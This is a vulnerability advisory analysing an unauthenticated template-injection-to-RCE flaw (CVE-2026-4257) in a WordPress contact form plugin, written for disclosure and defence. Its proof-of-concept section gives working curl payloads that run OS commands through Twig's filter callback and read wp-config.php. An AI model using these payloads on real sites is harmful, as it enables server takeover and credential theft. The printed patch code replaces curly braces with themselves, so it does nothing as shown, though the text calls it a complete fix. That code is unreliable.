CVE-2026-4257: SSTI to RCE in Contact Form by Supsystic
Table of Contents
CVE-2026-4257 is a CVSS 9.8 Critical unauthenticated Server-Side Template Injection (SSTI) vulnerability in the Contact Form by Supsystic WordPress plugin. It allows any unauthenticated attacker to inject arbitrary Twig template expressions into form field values via a single GET parameter, escalating directly to Remote Code Execution (RCE) on the server.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Contact Form by Supsystic |
| Plugin Slug | contact-form-by-supsystic |
| CVE ID | CVE-2026-4257 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Improper Control of Generation of Code (‘Code Injection’) / SSTI → RCE |
| Affected Versions | <= 1.7.36 |
| Patched Version | 1.8.0 |
| Published | March 30, 2026 |
| Researcher | Azril Fathoni (kiseki) — Heroes Cyber Security |
| Wordfence Advisory | Link |
Description
The Contact Form by Supsystic plugin for WordPress is vulnerable to Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) in all versions up to, and including, 1.7.36. This is due to the plugin using the Twig Twig_Loader_String template engine without sandboxing, combined with the cfsPreFill prefill functionality that allows unauthenticated users to inject arbitrary Twig expressions into form field values via GET parameters. This makes it possible for unauthenticated attackers to execute arbitrary PHP functions and OS commands on the server by leveraging Twig’s registerUndefinedFilterCallback() method to register arbitrary PHP callbacks.
Technical Analysis
The vulnerability is a two-part SSTI chain. Neither component is exploitable in isolation — together they produce a zero-click, unauthenticated RCE.
Component 1 — Unsandboxed Twig Environment
File: modules/forms/views/forms.php, method _initTwig() (v1.7.36):
protected function _initTwig() {
if(!$this->_twig) {
if(!class_exists('Twig_Autoloader')) {
require_once(CFS_CLASSES_DIR. 'Twig'. DS. 'Autoloader.php');
}
Twig_Autoloader::register();
// ❌ No sandbox — Twig_Loader_String renders any string as a full template
$this->_twig = new Twig_Environment(new Twig_Loader_String(), array('debug' => 0));
$this->_twig->addFunction(new Twig_SimpleFunction('adjust_brightness', ...));
$this->_twig->addFunction(new Twig_SimpleFunction('adjust_opacity', ...));
$this->_twig->addFunction(new Twig_SimpleFunction('hex_to_rgba_str', ...));
}
}
Twig_Loader_String treats every string passed to render() as a fully trusted Twig template. Without Twig_Extension_Sandbox, there is no restriction on which PHP functions or Twig internals can be accessed.
Twig’s _self global variable exposes the current Twig_Environment instance. The method registerUndefinedFilterCallback() on the environment allows registering any PHP callable as a Twig filter by name — which is then invoked by calling getFilter() with that name. This is the classic unsandboxed Twig RCE gadget chain.
Component 2 — Unauthenticated Prefill Injects User Input into the Template
File: modules/forms/views/forms.php, method showForm() (lines 323–331, v1.7.36):
if(!empty($_GET['cfsPreFill']) && !empty($form['params']['fields'])) {
foreach($form['params']['fields'] as &$field) {
// ❌ sanitize_text_field() does NOT strip Twig delimiters {{ }} {% %}
$fieldVal = (isset($_GET[$field['name']]) ? sanitize_text_field($_GET[$field['name']]) : false);
$fieldValue = isset($_GET['cfs_'.$field['name']]) ? sanitize_text_field($_GET['cfs_'.$field['name']]) : $fieldVal;
if(isset($field['value']) && isset($field['name']) && $fieldValue !== false) {
$field['value'] = $fieldValue; // ❌ attacker-controlled value stored directly
}
}
}
No authentication check gates this code path. Any visitor can trigger cfsPreFill by appending ?cfsPreFill=1 to a request to any WordPress page that renders a Contact Form by Supsystic shortcode.
sanitize_text_field() strips HTML tags and extra whitespace — but it explicitly preserves curly braces ({, }). Twig’s delimiters ({{, }}, {%, %}) are pure ASCII punctuation, entirely untouched.
Component 3 — Attacker Value Flows Into the Twig Template Source
File: modules/forms/views/forms.php, method generateHtml() (lines 430–474, v1.7.36):
public function generateHtml($form, $params = array()) {
$this->_initTwig();
// ...
// (1) generates <input> HTML with attacker value embedded verbatim
$form['params']['tpl']['fields'] = $this->generateFields( $form );
// (2) splices that HTML into the form template string via str_replace
$form['html'] = $this->_replaceTagsWithTwig( $form['html'], $form );
// (3) renders the template — Twig evaluates any {{ }} it finds
return $this->_twig->render(
'<style ...>' . $form['css'] . '</style>'
. '<div id="...">' . $form['html'] . '</div>',
array('forms' => $form)
);
}
generateFields() calls htmlCfs::text() which embeds $field['value'] directly into the HTML output with no escaping (in the vulnerable classes/html.php, line 82):
// classes/html.php v1.7.36 — no esc_attr(), value concatenated raw
return '<input type="'. $params['type']. '" name="'. $name. '" value="'. $params['value']. '" ... />';
_replaceTagsWithTwig() then performs a str_replace('[fields]', $generatedFieldsHtml, $form['html']) — directly splicing the attacker-controlled <input value="{{...}}"> into the raw Twig template string. When $this->_twig->render() is called, Twig parses and executes the injected expression.
Full Execution Chain
GET ?cfsPreFill=1&fieldname={{...RCE payload...}}
│
▼
showForm() → $field['value'] = sanitize_text_field(GET param)
[sanitize preserves {{ and }} — Twig syntax survives]
│
▼
generateFields() → htmlCfs::text() → '<input value="{{...}}" />'
[no esc_attr() in v1.7.36 — value concatenated raw]
│
▼
_replaceTagsWithTwig() → str_replace('[fields]', '<input value="{{...}}" />', $form['html'])
[attacker HTML is now part of the Twig template source]
│
▼
Twig_Environment::render($form['html']) → evaluates {{ ... }}
[no sandbox — _self.env is accessible]
│
▼
registerUndefinedFilterCallback("system") + getFilter("id")
│
▼
system("id") executed on the server ← Full RCE
Root Cause
Two independent design flaws that combine to produce full RCE:
-
No Twig sandboxing. The plugin uses
Twig_Loader_StringwithoutTwig_Extension_Sandbox. Any string rendered by Twig is treated as a trusted template, giving access to_self.envand all PHP callables. -
Unfiltered user input merged into the Twig template source. The
cfsPreFillfeature copies GET parameters (only HTML-tag-stripped) directly into form field values. Those values are embedded into the Twig template string before rendering, not passed as inert context data.
Why Existing Controls Failed
| Control | Why it failed |
|---|---|
sanitize_text_field() | Strips HTML tags and extra whitespace only. Curly braces { and } are not special HTML characters — they pass through untouched. Twig’s {{, }}, {%, %} delimiters survive intact. |
| No authentication/nonce gate | The cfsPreFill branch is entered solely based on a GET parameter being non-empty. Zero authentication is required. |
htmlCfs::input() (v1.7.36) | Concatenates $params['value'] directly into the HTML string without esc_attr(), providing no secondary barrier even if the value had been sanitized. |
Attack Impact
An unauthenticated remote attacker can execute arbitrary OS commands with the privileges of the web server process (typically www-data/apache). This enables:
- Full server compromise — read/write arbitrary files, install persistent backdoors
- Exfiltration of WordPress database credentials from
wp-config.php - Lateral movement to other sites on shared hosting
- Ransomware deployment or defacement
CVSS 9.8 (Critical) — no privileges, no user interaction, full Confidentiality / Integrity / Availability impact.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only. Only use against systems you own or have explicit written authorization to test.
Prerequisites
- WordPress installation with the
contact-form-by-supsysticplugin installed and activated, version <= 1.7.36 - At least one published page rendering a Contact Form by Supsystic shortcode (e.g.
[contact-form-by-supsystic id="1"]) - The name of a text/email/number field on the form (readable from the page HTML source — look for
name="fields[your-field-name]")
Step 1: Identify a Form Page and Field Name
View the source of a page containing the form and locate an input field:
<input type="text" name="fields[your-name]" value="" ... />
The field name here is your-name.
Step 2: Verify SSTI with a Safe Math Expression
Inject a benign Twig expression and confirm it is evaluated server-side:
curl -s "https://target.example.com/contact/?cfsPreFill=1&your-name={{7*7}}" \
| grep -o 'value="[^"]*"' | head -5
Expected result: the rendered HTML contains value="49" — confirming Twig is evaluating the injected expression.
Step 3: Register a PHP Callable as a Twig Filter
Use Twig’s registerUndefinedFilterCallback() to register PHP’s system() function as a filter named arbitrarily, then call getFilter() with the OS command as the filter name:
curl -s -g "https://target.example.com/contact/?cfsPreFill=1&your-name={{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}"
The output of id appears inline in the rendered page body.
Step 4: Extract Command Output Cleanly
curl -s -g "https://target.example.com/contact/?cfsPreFill=1&your-name={{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}" \
| grep -oP 'uid=\d+\([^)]+\) gid=\d+\([^)]+\)[^\<]*'
For file exfiltration (URL-encode spaces as +):
curl -s -g "https://target.example.com/contact/?cfsPreFill=1&your-name={{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('cat+/var/www/html/wp-config.php')}}"
Expected Result
The server executes the injected OS command and returns the output embedded in the HTTP response body — no authentication, no interaction required.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Patch Analysis
What Changed
The fix is a single targeted addition in modules/forms/views/forms.php inside the showForm() prefill block. A secondary defence-in-depth change was also made in classes/html.php.
Primary Fix — Escape Twig Delimiters Before Assignment
File: modules/forms/views/forms.php, v1.8.0 (line 369):
// Escape Twig template delimiters to prevent Server-Side Template Injection (SSTI/RCE).
// sanitize_text_field() does not strip curly braces, so an attacker can inject
// Twig expressions (e.g. {{_self.env.registerUndefinedFilterCallback(...)}})
// that get evaluated by Twig_Loader_String at render time.
$fieldValue = str_replace(['{', '}'], ['{', '}'], $fieldValue);
$field['value'] = $fieldValue;
By replacing every { → { and } → } before the value is stored, Twig delimiters can never form valid {{…}} or {%…%} sequences. When Twig subsequently receives the template string, there are no expressions to evaluate — the HTML entities are passed through as literal display characters.
Secondary Fix — esc_attr() on Input Values
File: classes/html.php, v1.8.0 (line 89):
$params['value'] = isset($params['value']) ? esc_attr($params['value']) : '';
return '<input type="' . $params['type'] . '" name="' . $name . '" value="' . $params['value'] . '" ...';
The patched htmlCfs::input() now calls esc_attr() before embedding the value in the HTML attribute. This closes a separate reflected XSS risk in the input value. Note that esc_attr() does not encode { or }, so it would not alone have prevented the SSTI — the str_replace in forms.php is the load-bearing fix.
Is the Fix Complete?
Yes, for this specific attack vector. The str_replace of {/} definitively breaks all Twig syntax injection via the prefill parameter. A more architecturally robust long-term fix would also enable Twig_Extension_Sandbox on the environment, so that no user-derived data can reach PHP internals regardless of how it enters the template — but that is not required to close CVE-2026-4257.
Code Diff (Key Changes)
--- a/modules/forms/views/forms.php (1.7.36)
+++ b/modules/forms/views/forms.php (1.8.0)
@@ -323,10 +360,14 @@
- if(!empty($_GET['cfsPreFill']) && !empty($form['params']['fields'])) {
- foreach($form['params']['fields'] as &$field) {
- $fieldVal = sanitize_text_field($_GET[$field['name']]);
- $fieldValue = sanitize_text_field($_GET['cfs_'.$field['name']]);
- if(isset($field['value']) && isset($field['name']) && $fieldValue !== false) {
- $field['value'] = $fieldValue;
- }
- }
- }
+ if (!empty($_GET['cfsPreFill']) && !empty($form['params']['fields'])) {
+ foreach ($form['params']['fields'] as &$field) {
+ $fieldVal = sanitize_text_field($_GET[$field['name']]);
+ $fieldValue = sanitize_text_field($_GET['cfs_'.$field['name']]);
+ if (isset($field['value']) && isset($field['name']) && $fieldValue !== false) {
+ // Escape Twig template delimiters to prevent SSTI/RCE
+ $fieldValue = str_replace(['{', '}'], ['{', '}'], $fieldValue);
+ $field['value'] = $fieldValue;
+ }
+ }
+ }
--- a/classes/html.php (1.7.36)
+++ b/classes/html.php (1.8.0)
- $params['value'] = isset($params['value']) ? $params['value'] : '';
- return '<input ... value="'. $params['value']. '" ...';
+ $params['value'] = isset($params['value']) ? esc_attr($params['value']) : '';
+ return '<input ... value="' . $params['value'] . '" ...';
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered by Azril Fathoni (kiseki) — Heroes Cyber Security |
| March 30, 2026 | Publicly disclosed by Wordfence |
| March 30, 2026 | Patched version 1.8.0 released |
Remediation
Update the contact-form-by-supsystic plugin to version 1.8.0 or later immediately.
No configuration-level workaround is viable short of deactivating the plugin. The cfsPreFill feature is triggered by a single GET parameter on any page rendering the shortcode — zero authentication is required and there is no way to restrict it at the WordPress level without modifying the plugin code.